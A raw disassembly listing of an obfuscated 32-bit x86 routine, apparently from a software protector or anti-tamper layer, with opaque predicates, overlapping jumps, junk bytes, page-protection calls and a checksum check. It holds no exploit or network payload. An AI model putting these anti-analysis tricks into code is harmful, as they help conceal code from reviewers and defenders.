mov ecx, [ebp-10h]
push ecx
mov edx, dword_4F4750
mov eax, [edx]
push eax
call dword_4ED110 ; CODE XREF: .text:004BC610j
pusha
xor eax, eax
jnz short loc_4BC5AD
jmp short loc_4BC5C2
; ---------------------------------------------------------------------------
loc_4BC5AD: ; CODE XREF: .text:004BC5A9j
jmp short loc_4BC5E2
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h
; ---------------------------------------------------------------------------
loc_4BC5B4: ; CODE XREF: .text:loc_4BC5C2j
jo short loc_4BC5C4
jmp short near ptr loc_4BC5C4+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4BC5CB
loc_4BC5C2: ; CODE XREF: .text:004BC5ABj
jz short loc_4BC5B4
loc_4BC5C4: ; CODE XREF: .text:loc_4BC5B4j
; .text:004BC5B6j
jmp short near ptr loc_4BC54C+1
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4BC5CB: ; CODE XREF: .text:004BC5C0j
popa
mov al, 1
jmp loc_4BC923
; ---------------------------------------------------------------------------
push 0
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call loc_4BC92A ; CODE XREF: .text:loc_4BC657j
loc_4BC5E2: ; CODE XREF: .text:loc_4BC5ADj
add esp, 0Ch
and eax, 0FFh
test eax, eax
jnz short loc_4BC5F5
xor al, al
jmp loc_4BC923
; ---------------------------------------------------------------------------
loc_4BC5F5: ; CODE XREF: .text:004BC5ECj
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BC62C ; CODE XREF: .text:loc_4BC62Cj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BC604: ; CODE XREF: .text:004BC625j
jmp short loc_4BC623
; ---------------------------------------------------------------------------
loc_4BC606: ; CODE XREF: .text:loc_4BC623j
xor ecx, ecx
loc_4BC608: ; CODE XREF: .text:004BC617j
jz short $+2
jmp short loc_4BC61C
; ---------------------------------------------------------------------------
loc_4BC60C: ; CODE XREF: .text:004BC620j
stc
xor ecx, 3
jz short near ptr loc_4BC5A0+2
jmp short loc_4BC619
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BC615: ; CODE XREF: .text:loc_4BC619j
jmp short loc_4BC627
; ---------------------------------------------------------------------------
jz short loc_4BC608
loc_4BC619: ; CODE XREF: .text:004BC612j
jnb short loc_4BC615
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BC61C: ; CODE XREF: .text:004BC60Aj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BC60C
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BC623: ; CODE XREF: .text:loc_4BC604j
jmp short loc_4BC606
; ---------------------------------------------------------------------------
jmp short loc_4BC604
; ---------------------------------------------------------------------------
loc_4BC627: ; CODE XREF: .text:loc_4BC615j
repne sbb al, 0DBh
jmp short loc_4BC62F
; ---------------------------------------------------------------------------
loc_4BC62C: ; CODE XREF: .text:004BC5FFj
jmp short near ptr loc_4BC5FF+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BC62F: ; CODE XREF: .text:004BC62Aj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
pusha
xor eax, eax
jnz short loc_4BC640
jmp short loc_4BC655
; ---------------------------------------------------------------------------
loc_4BC640: ; CODE XREF: .text:004BC63Cj
jmp short loc_4BC675
; ---------------------------------------------------------------------------
dw 75C0h
; ---------------------------------------------------------------------------
sbb [edx+0Ch], bh
loc_4BC647: ; CODE XREF: .text:loc_4BC655j
jo short loc_4BC657
jmp short near ptr loc_4BC657+1
; ---------------------------------------------------------------------------
db 0E8h
dd 0F1790E72h, 790015FFh
db 9
; ---------------------------------------------------------------------------
loc_4BC655: ; CODE XREF: .text:004BC63Ej
jz short loc_4BC647
loc_4BC657: ; CODE XREF: .text:loc_4BC647j
; .text:004BC649j
jmp short near ptr loc_4BC5DD+3
; ---------------------------------------------------------------------------
fstp tbyte ptr [edx-10h]
mov al, ds:6CA16133h
inc edi
dec edi
add [ebx+6CA301C0h], al
inc edi
dec edi
add [eax+7], dh
jl short loc_4BC673
loc_4BC670: ; CODE XREF: .text:loc_4BC673j
; .text:loc_4BC675j
jmp short loc_4BC677
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BC673: ; CODE XREF: .text:004BC66Ej
jz short loc_4BC670
loc_4BC675: ; CODE XREF: .text:loc_4BC640j
jmp short loc_4BC670
; ---------------------------------------------------------------------------
loc_4BC677: ; CODE XREF: .text:loc_4BC670j
mov ecx, dword_4F4768
lea edx, ds:0FFFFFFFCh[ecx*4]
push edx
mov eax, dword_4F4770
push eax
mov ecx, dword_4F4770
add ecx, 4
push ecx
call _memcpy_2
add esp, 0Ch ; CODE XREF: .text:loc_4BC712j
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BC6C0
loc_4BC6BD: ; CODE XREF: .text:004BC6DEj
jmp short near ptr loc_4BC6E0+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC6C0: ; CODE XREF: .text:004BC6BBj
xor ebx, ebx
jz short $+2
jmp short loc_4BC6D3
; ---------------------------------------------------------------------------
dw 0EBB8h
db 0Fh
; ---------------------------------------------------------------------------
loc_4BC6C9: ; CODE XREF: .text:004BC6D5j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BC6D7
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC6D3: ; CODE XREF: .text:004BC6C4j
xor eax, eax
jz short loc_4BC6C9
loc_4BC6D7: ; CODE XREF: .text:004BC6D0j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BC6BD
loc_4BC6E0: ; CODE XREF: .text:loc_4BC6BDj
jmp near ptr 92B26446h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
mov edx, dword_4F4770
mov eax, [ebp+8]
mov [edx], eax
pusha
loc_4BC6F5: ; CODE XREF: .text:004BC763j
xor eax, eax
jnz short loc_4BC6FB
jmp short loc_4BC710
; ---------------------------------------------------------------------------
loc_4BC6FB: ; CODE XREF: .text:004BC6F7j
jmp short loc_4BC730
; ---------------------------------------------------------------------------
db 0C0h, 75h, 18h
db 7Ah, 0Ch
; ---------------------------------------------------------------------------
loc_4BC702: ; CODE XREF: .text:loc_4BC710j
jo short loc_4BC712
jmp short near ptr loc_4BC712+1
; ---------------------------------------------------------------------------
dw 72E8h
dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------
loc_4BC710: ; CODE XREF: .text:004BC6F9j
jz short loc_4BC702
loc_4BC712: ; CODE XREF: .text:loc_4BC702j
; .text:004BC704j
jmp short near ptr loc_4BC69A+1
; ---------------------------------------------------------------------------
dd 0A0F07ADBh, 4D8B6133h, 0FFE18110h, 85000000h, 0F6850FC9h
dd 70000001h, 0EB037C07h
; ---------------------------------------------------------------------------
loc_4BC730: ; CODE XREF: .text:loc_4BC6FBj
add eax, 0EBFB74E8h
stc
loc_4BC736: ; CODE XREF: .text:loc_4BC91Cj
mov edx, dword_4F476C
cmp edx, dword_4ED840
jle loc_4BC921
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BC77F ; CODE XREF: .text:loc_4BC77Fj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BC757: ; CODE XREF: .text:004BC778j
jmp short loc_4BC776
; ---------------------------------------------------------------------------
loc_4BC759: ; CODE XREF: .text:loc_4BC776j
xor ecx, ecx
loc_4BC75B: ; CODE XREF: .text:004BC76Aj
jz short $+2
jmp short loc_4BC76F
; ---------------------------------------------------------------------------
loc_4BC75F: ; CODE XREF: .text:004BC773j
stc
xor ecx, 3
jz short loc_4BC6F5
jmp short loc_4BC76C
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BC768: ; CODE XREF: .text:loc_4BC76Cj
jmp short loc_4BC77A
; ---------------------------------------------------------------------------
jz short loc_4BC75B
loc_4BC76C: ; CODE XREF: .text:004BC765j
jnb short loc_4BC768
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BC76F: ; CODE XREF: .text:004BC75Dj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BC75F
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BC776: ; CODE XREF: .text:loc_4BC757j
jmp short loc_4BC759
; ---------------------------------------------------------------------------
jmp short loc_4BC757
; ---------------------------------------------------------------------------
loc_4BC77A: ; CODE XREF: .text:loc_4BC768j
repne sbb al, 0DBh
jmp short loc_4BC782
; ---------------------------------------------------------------------------
loc_4BC77F: ; CODE XREF: .text:004BC752j
jmp short near ptr loc_4BC752+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BC782: ; CODE XREF: .text:004BC77Dj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov eax, dword_4F476C
sub eax, 1
mov dword_4F476C, eax
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BC7BC
loc_4BC7B9: ; CODE XREF: .text:004BC7DAj
jmp short near ptr loc_4BC7DC+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC7BC: ; CODE XREF: .text:004BC7B7j
xor ebx, ebx
jz short $+2
jmp short loc_4BC7CF
; ---------------------------------------------------------------------------
dw 0EBB8h
db 0Fh
; ---------------------------------------------------------------------------
loc_4BC7C5: ; CODE XREF: .text:004BC7D1j
mov ecx, 34F9C987h
nop
stc
jz short loc_4BC7D3
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC7CF: ; CODE XREF: .text:004BC7C0j
xor eax, eax
jz short loc_4BC7C5
loc_4BC7D3: ; CODE XREF: .text:004BC7CCj
mov eax, 4840C987h
test eax, eax
jnz short loc_4BC7B9
loc_4BC7DC: ; CODE XREF: .text:loc_4BC7B9j
jmp near ptr 92B26542h
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
push 1
mov ecx, dword_4F476C
mov edx, dword_4F4770
mov esi, [edx+ecx*4]
shl esi, 4
mov eax, dword_4F476C
mov ecx, dword_4F4770
mov edx, [ecx+eax*4]
and edx, 80000007h
jns short loc_4BC814
dec edx
or edx, 0FFFFFFF8h
inc edx
loc_4BC814: ; CODE XREF: .text:004BC80Dj
xor eax, eax
mov al, byte_4F1F78[edx]
mov ecx, dword_4F476C
mov edx, dword_4F4770
mov ecx, [edx+ecx*4]
and ecx, 80000007h
jns short loc_4BC838
dec ecx
or ecx, 0FFFFFFF8h
inc ecx
loc_4BC838: ; CODE XREF: .text:004BC831j
xor edx, edx
mov dl, byte_4F1F79[ecx]
mov edi, dword_4ED3A8[eax*4]
xor edi, dword_4ED3A8[edx*4]
mov eax, dword_4F476C
mov ecx, dword_4F4770
mov edx, [ecx+eax*4]
and edx, 80000007h
jns short loc_4BC869
dec edx
or edx, 0FFFFFFF8h ; CODE XREF: .text:004BC8D5j
inc edx
loc_4BC869: ; CODE XREF: .text:004BC862j
xor eax, eax
mov al, byte_4F1F7A[edx]
xor edi, dword_4ED3A8[eax*4]
mov ecx, dword_4F476C
mov edx, dword_4F4770
mov eax, [edx+ecx*4]
cdq
mov ecx, 1Ch
idiv ecx
mov ecx, edx
shr edi, cl
and edi, 0Fh
add esi, edi
mov edx, dword_4F474C
lea eax, [edx+esi*4]
push eax
mov ecx, dword_4F476C
mov edx, dword_4F4770
mov eax, [edx+ecx*4]
push eax
call loc_4BC92A
add esp, 0Ch
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BC8F1 ; CODE XREF: .text:loc_4BC8F1j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BC8C9: ; CODE XREF: .text:004BC8EAj
jmp short loc_4BC8E8
; ---------------------------------------------------------------------------
loc_4BC8CB: ; CODE XREF: .text:loc_4BC8E8j
xor ecx, ecx
loc_4BC8CD: ; CODE XREF: .text:004BC8DCj
jz short $+2
jmp short loc_4BC8E1
; ---------------------------------------------------------------------------
loc_4BC8D1: ; CODE XREF: .text:004BC8E5j
stc
xor ecx, 3
jz short near ptr loc_4BC865+2
jmp short loc_4BC8DE
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BC8DA: ; CODE XREF: .text:loc_4BC8DEj
jmp short loc_4BC8EC
; ---------------------------------------------------------------------------
jz short loc_4BC8CD
loc_4BC8DE: ; CODE XREF: .text:004BC8D7j
jnb short loc_4BC8DA
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BC8E1: ; CODE XREF: .text:004BC8CFj
sbb bl, bl
xor ebx, ebx
jmp short loc_4BC8D1
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BC8E8: ; CODE XREF: .text:loc_4BC8C9j
jmp short loc_4BC8CB
; ---------------------------------------------------------------------------
jmp short loc_4BC8C9
; ---------------------------------------------------------------------------
loc_4BC8EC: ; CODE XREF: .text:loc_4BC8DAj
repne sbb al, 0DBh
jmp short loc_4BC8F4
; ---------------------------------------------------------------------------
loc_4BC8F1: ; CODE XREF: .text:004BC8C4j
jmp short near ptr loc_4BC8C4+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BC8F4: ; CODE XREF: .text:004BC8EFj
popa
popf
bswap eax
not ecx
bswap eax
not ecx
mov ecx, dword_4F476C
loc_4BC904: ; CODE XREF: .text:loc_4BC97Bj
mov edx, dword_4F4770
mov dword ptr [edx+ecx*4], 0FFFFFFFFh
jo short loc_4BC91A
jl short loc_4BC918
loc_4BC915: ; CODE XREF: .text:loc_4BC918j
; .text:loc_4BC91Aj
jmp short loc_4BC91C
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BC918: ; CODE XREF: .text:004BC913j
jz short loc_4BC915
loc_4BC91A: ; CODE XREF: .text:004BC911j
jmp short loc_4BC915
; ---------------------------------------------------------------------------
loc_4BC91C: ; CODE XREF: .text:loc_4BC915j
jmp loc_4BC736
; ---------------------------------------------------------------------------
loc_4BC921: ; CODE XREF: .text:004BC742j
mov al, 1
loc_4BC923: ; CODE XREF: .text:004BC3E2j
; .text:004BC3F5j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4BC92A: ; CODE XREF: .text:loc_4BC5DDp
; .text:004BC8B2p
push ebp
mov ebp, esp
sub esp, 100h
push ebx
push esi
push edi
mov eax, [ebp+8]
shl eax, 0Ch
mov ecx, dword_4F4754
add ecx, eax
mov [ebp-14h], ecx
mov edx, dword_4F477C
mov [ebp-4], edx
mov eax, dword_4F477C
add eax, 1000h
mov [ebp-0Ch], eax
pusha
xor eax, eax
jnz short loc_4BC964
jmp short loc_4BC979
; ---------------------------------------------------------------------------
loc_4BC964: ; CODE XREF: .text:004BC960j
jmp short loc_4BC999
; ---------------------------------------------------------------------------
dw 75C0h
; ---------------------------------------------------------------------------
sbb [edx+0Ch], bh
loc_4BC96B: ; CODE XREF: .text:loc_4BC979j
jo short loc_4BC97B
jmp short near ptr loc_4BC97B+1
; ---------------------------------------------------------------------------
db 0E8h
dd 0F1790E72h, 790015FFh
db 9
; ---------------------------------------------------------------------------
loc_4BC979: ; CODE XREF: .text:004BC962j
jz short loc_4BC96B
loc_4BC97B: ; CODE XREF: .text:loc_4BC96Bj
; .text:004BC96Dj
jmp short loc_4BC904
; ---------------------------------------------------------------------------
db 0DBh, 7Ah, 0F0h
dd 8B6133A0h, 0E181104Dh, 0FFh, 2474C985h, 0A108558Bh
dd 4F4774h
db 8Bh
; ---------------------------------------------------------------------------
loc_4BC999: ; CODE XREF: .text:loc_4BC964j
or al, 90h
and ecx, 1
test ecx, ecx
jnz short loc_4BC9B4
jo short loc_4BC9AB
jl short loc_4BC9A9
loc_4BC9A6: ; CODE XREF: .text:loc_4BC9A9j
; .text:loc_4BC9ABj
jmp short loc_4BC9AD
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BC9A9: ; CODE XREF: .text:004BC9A4j
jz short loc_4BC9A6
loc_4BC9AB: ; CODE XREF: .text:004BC9A2j
jmp short loc_4BC9A6
; ---------------------------------------------------------------------------
loc_4BC9AD: ; CODE XREF: .text:loc_4BC9A6j
xor al, al
jmp loc_4BDA6A
; ---------------------------------------------------------------------------
loc_4BC9B4: ; CODE XREF: .text:004BC9A0j
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BC9D7
loc_4BC9D4: ; CODE XREF: .text:004BC9F5j
jmp short near ptr loc_4BC9F7+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC9D7: ; CODE XREF: .text:004BC9D2j
; .text:004BCA46j
xor ebx, ebx
jz short $+2
jmp short loc_4BC9EA
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BC9E0: ; CODE XREF: .text:004BC9ECj
mov ecx, 34F9C987h
nop
stc
jz short loc_4BC9EE
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BC9EA: ; CODE XREF: .text:004BC9DBj
xor eax, eax
jz short loc_4BC9E0
loc_4BC9EE: ; CODE XREF: .text:004BC9E7j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BC9D4
loc_4BC9F7: ; CODE XREF: .text:loc_4BC9D4j
jmp near ptr 92B2675Dh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
jo short loc_4BCA09
jl short loc_4BCA07
loc_4BCA04: ; CODE XREF: .text:loc_4BCA07j
; .text:loc_4BCA09j
jmp short loc_4BCA0B
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BCA07: ; CODE XREF: .text:004BCA02j
jz short loc_4BCA04
loc_4BCA09: ; CODE XREF: .text:004BCA00j
jmp short loc_4BCA04
; ---------------------------------------------------------------------------
loc_4BCA0B: ; CODE XREF: .text:loc_4BCA04j
mov edx, [ebp+10h]
and edx, 0FFh
test edx, edx
jnz short loc_4BCA76
mov eax, [ebp+8]
mov ecx, dword_4F4774
mov edx, [ecx+eax*4]
and edx, 1
test edx, edx
jz short loc_4BCA76
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BCA62 ; CODE XREF: .text:loc_4BCA62j
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
loc_4BCA3A: ; CODE XREF: .text:004BCA5Bj
jmp short loc_4BCA59
; ---------------------------------------------------------------------------
loc_4BCA3C: ; CODE XREF: .text:loc_4BCA59j
xor ecx, ecx
loc_4BCA3E: ; CODE XREF: .text:004BCA4Dj
jz short $+2
jmp short loc_4BCA52
; ---------------------------------------------------------------------------
loc_4BCA42: ; CODE XREF: .text:004BCA56j
stc
xor ecx, 3
jz short near ptr loc_4BC9D7+1
jmp short loc_4BCA4F
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BCA4B: ; CODE XREF: .text:loc_4BCA4Fj
jmp short loc_4BCA5D
; ---------------------------------------------------------------------------
jz short loc_4BCA3E
loc_4BCA4F: ; CODE XREF: .text:004BCA48j
jnb short loc_4BCA4B
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BCA52: ; CODE XREF: .text:004BCA40j
sbb bl, bl
xor ebx, ebx
jmp short loc_4BCA42
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BCA59: ; CODE XREF: .text:loc_4BCA3Aj
jmp short loc_4BCA3C
; ---------------------------------------------------------------------------
jmp short loc_4BCA3A
; ---------------------------------------------------------------------------
loc_4BCA5D: ; CODE XREF: .text:loc_4BCA4Bj
repne sbb al, 0DBh
jmp short loc_4BCA65
; ---------------------------------------------------------------------------
loc_4BCA62: ; CODE XREF: .text:004BCA35j
jmp short near ptr loc_4BCA35+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BCA65: ; CODE XREF: .text:004BCA60j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
xor al, al
jmp loc_4BDA6A
; ---------------------------------------------------------------------------
loc_4BCA76: ; CODE XREF: .text:004BCA16j
; .text:004BCA29j
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BCA99
loc_4BCA96: ; CODE XREF: .text:004BCAB7j
jmp short near ptr loc_4BCAB9+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BCA99: ; CODE XREF: .text:004BCA94j
xor ebx, ebx
jz short $+2
jmp short loc_4BCAAC
; ---------------------------------------------------------------------------
db 0B8h
db 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BCAA2: ; CODE XREF: .text:004BCAAEj
mov ecx, 34F9C987h
nop
stc
jz short loc_4BCAB0
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BCAAC: ; CODE XREF: .text:004BCA9Dj
xor eax, eax
jz short loc_4BCAA2
loc_4BCAB0: ; CODE XREF: .text:004BCAA9j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BCA96
loc_4BCAB9: ; CODE XREF: .text:loc_4BCA96j
jmp near ptr 92B2681Fh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
lea eax, [ebp-18h]
push eax
push 4
push 1000h
mov ecx, [ebp-14h]
push ecx
mov edx, dword_4F4750
mov eax, [edx]
push eax
call dword_4ED110 ; CODE XREF: .text:loc_4BCB55j
test eax, eax
jnz short loc_4BCB37
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 6C65696Dh
xchg eax, ecx
mov ecx, 0DEADC0DEh
xchg eax, ecx
not eax
pop eax
not ecx
pop ecx
pushf
pusha
xor ebx, ebx
jz short loc_4BCB07
loc_4BCB04: ; CODE XREF: .text:004BCB25j
jmp short near ptr loc_4BCB27+1
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BCB07: ; CODE XREF: .text:004BCB02j
xor ebx, ebx
jz short $+2
jmp short loc_4BCB1A
; ---------------------------------------------------------------------------
db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------
loc_4BCB10: ; CODE XREF: .text:004BCB1Cj
mov ecx, 34F9C987h
nop
stc
jz short loc_4BCB1E
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4BCB1A: ; CODE XREF: .text:004BCB0Bj
xor eax, eax
jz short loc_4BCB10
loc_4BCB1E: ; CODE XREF: .text:004BCB17j
mov eax, 4840C987h
test eax, eax
jnz short loc_4BCB04
loc_4BCB27: ; CODE XREF: .text:loc_4BCB04j
jmp near ptr 92B2688Dh
; ---------------------------------------------------------------------------
xchg ax, dx
mov eax, eax
xor al, al ; CODE XREF: .text:004BCB9Fj
jmp loc_4BDA6A
; ---------------------------------------------------------------------------
loc_4BCB37: ; CODE XREF: .text:004BCAE2j
pusha
xor eax, eax
jnz short loc_4BCB3E
jmp short loc_4BCB53
; ---------------------------------------------------------------------------
loc_4BCB3E: ; CODE XREF: .text:004BCB3Aj
jmp short loc_4BCB73
; ---------------------------------------------------------------------------
dd 7A1875C0h
db 0Ch
; ---------------------------------------------------------------------------
loc_4BCB45: ; CODE XREF: .text:loc_4BCB53j
jo short loc_4BCB55
jmp short near ptr loc_4BCB55+1
; ---------------------------------------------------------------------------
db 0E8h, 72h, 0Eh
dd 15FFF179h
db 0, 79h, 9
; ---------------------------------------------------------------------------
loc_4BCB53: ; CODE XREF: .text:004BCB3Cj
jz short loc_4BCB45
loc_4BCB55: ; CODE XREF: .text:loc_4BCB45j
; .text:004BCB47j
jmp short near ptr loc_4BCADA+4
; ---------------------------------------------------------------------------
db 0DBh
dd 33A0F07Ah, 0F84D8D61h, 10006851h, 158B0000h, 4F477Ch
dd 0EC458B52h
db 50h, 8Bh, 0Dh
; ---------------------------------------------------------------------------
loc_4BCB73: ; CODE XREF: .text:loc_4BCB3Ej
push eax
inc edi
dec edi
add [ebx+15FF5211h], cl
rcl al, 1
dec esi
add [ebp+504B75C0h], al
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BCBBB ; CODE XREF: .text:loc_4BCBBBj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl ; CODE XREF: .text:loc_4BCC08j
loc_4BCB93: ; CODE XREF: .text:004BCBB4j
jmp short loc_4BCBB2
; ---------------------------------------------------------------------------
loc_4BCB95: ; CODE XREF: .text:loc_4BCBB2j
xor ecx, ecx
loc_4BCB97: ; CODE XREF: .text:004BCBA6j
jz short $+2
jmp short loc_4BCBAB
; ---------------------------------------------------------------------------
loc_4BCB9B: ; CODE XREF: .text:004BCBAFj
stc
xor ecx, 3
jz short near ptr loc_4BCB30+1
jmp short loc_4BCBA8
; ---------------------------------------------------------------------------
db 0B9h
; ---------------------------------------------------------------------------
loc_4BCBA4: ; CODE XREF: .text:loc_4BCBA8j
jmp short loc_4BCBB6
; ---------------------------------------------------------------------------
jz short loc_4BCB97
loc_4BCBA8: ; CODE XREF: .text:004BCBA1j
jnb short loc_4BCBA4
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
loc_4BCBAB: ; CODE XREF: .text:004BCB99j
sbb bl, bl
xor ebx, ebx
jmp short loc_4BCB9B
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4BCBB2: ; CODE XREF: .text:loc_4BCB93j
jmp short loc_4BCB95
; ---------------------------------------------------------------------------
jmp short loc_4BCB93
; ---------------------------------------------------------------------------
loc_4BCBB6: ; CODE XREF: .text:loc_4BCBA4j
repne sbb al, 0DBh
jmp short loc_4BCBBE
; ---------------------------------------------------------------------------
loc_4BCBBB: ; CODE XREF: .text:004BCB8Ej
jmp short near ptr loc_4BCB8E+1
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_4BCBBE: ; CODE XREF: .text:004BCBB9j
popa
popf
bswap eax
not ecx
bswap eax
not ecx
xor al, al
jmp loc_4BDA6A
; ---------------------------------------------------------------------------
jo short loc_4BCBD8
jl short loc_4BCBD6
loc_4BCBD3: ; CODE XREF: .text:loc_4BCBD6j
; .text:loc_4BCBD8j
jmp short loc_4BCBDA
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4BCBD6: ; CODE XREF: .text:004BCBD1j
jz short loc_4BCBD3
loc_4BCBD8: ; CODE XREF: .text:004BCBCFj
jmp short loc_4BCBD3
; ---------------------------------------------------------------------------
loc_4BCBDA: ; CODE XREF: .text:loc_4BCBD3j
mov eax, [ebp+10h]
and eax, 0FFh
test eax, eax
jz loc_4BD4E3
pusha
xor eax, eax
jnz short loc_4BCBF1
jmp short loc_4BCC06
; ---------------------------------------------------------------------------
loc_4BCBF1: ; CODE XREF: .text:004BCBEDj
jmp short locret_4BCC26
; ---------------------------------------------------------------------------
db 0C0h
dd 0C7A1875h
; ---------------------------------------------------------------------------
loc_4BCBF8: ; CODE XREF: .text:loc_4BCC06j
jo short loc_4BCC08
jmp short near ptr loc_4BCC08+1
; ---------------------------------------------------------------------------
dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
jns short loc_4BCC0F
loc_4BCC06: ; CODE XREF: .text:004BCBEFj
jz short loc_4BCBF8
loc_4BCC08: ; CODE XREF: .text:loc_4BCBF8j
; .text:004BCBFAj
jmp short near ptr loc_4BCB90+1
; ---------------------------------------------------------------------------
dw 7ADBh
db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------
loc_4BCC0F: ; CODE XREF: .text:004BCC04j
popa
mov ecx, dword_4ED3B0 ; CODE XREF: .text:004BCC81j
xor ecx, dword_4ED3FC
xor ecx, dword_4ED3F0
and ecx, 8
; ---------------------------------------------------------------------------
db 85h
; ---------------------------------------------------------------------------
locret_4BCC26: ; CODE XREF: .text:loc_4BCBF1j
leave
jz short loc_4BCC66
mov edx, [ebp+8]
mov eax, dword_4F4774
mov ecx, [eax+edx*4]
and ecx, 4
test ecx, ecx
jz short loc_4BCC66
push 0FFFFFFFFh
push 1000h
mov edx, dword_4F477C
push edx
call sub_490FB0
add esp, 0Ch
mov ecx, [ebp+8]
mov edx, dword_4F4778
cmp eax, [edx+ecx*4]
jz short loc_4BCC66
mov byte_4F4781, 1
loc_4BCC66: ; CODE XREF: .text:004BCC27j
; .text:004BCC39j ...
push eax
not eax
bswap eax
pop eax
jnb short $+2
pushf
pusha
jmp short loc_4BCC9D ; CODE XREF: .text:loc_4BCC9Dj
; ---------------------------------------------------------------------------
sal byte ptr [eax+0Eh], cl
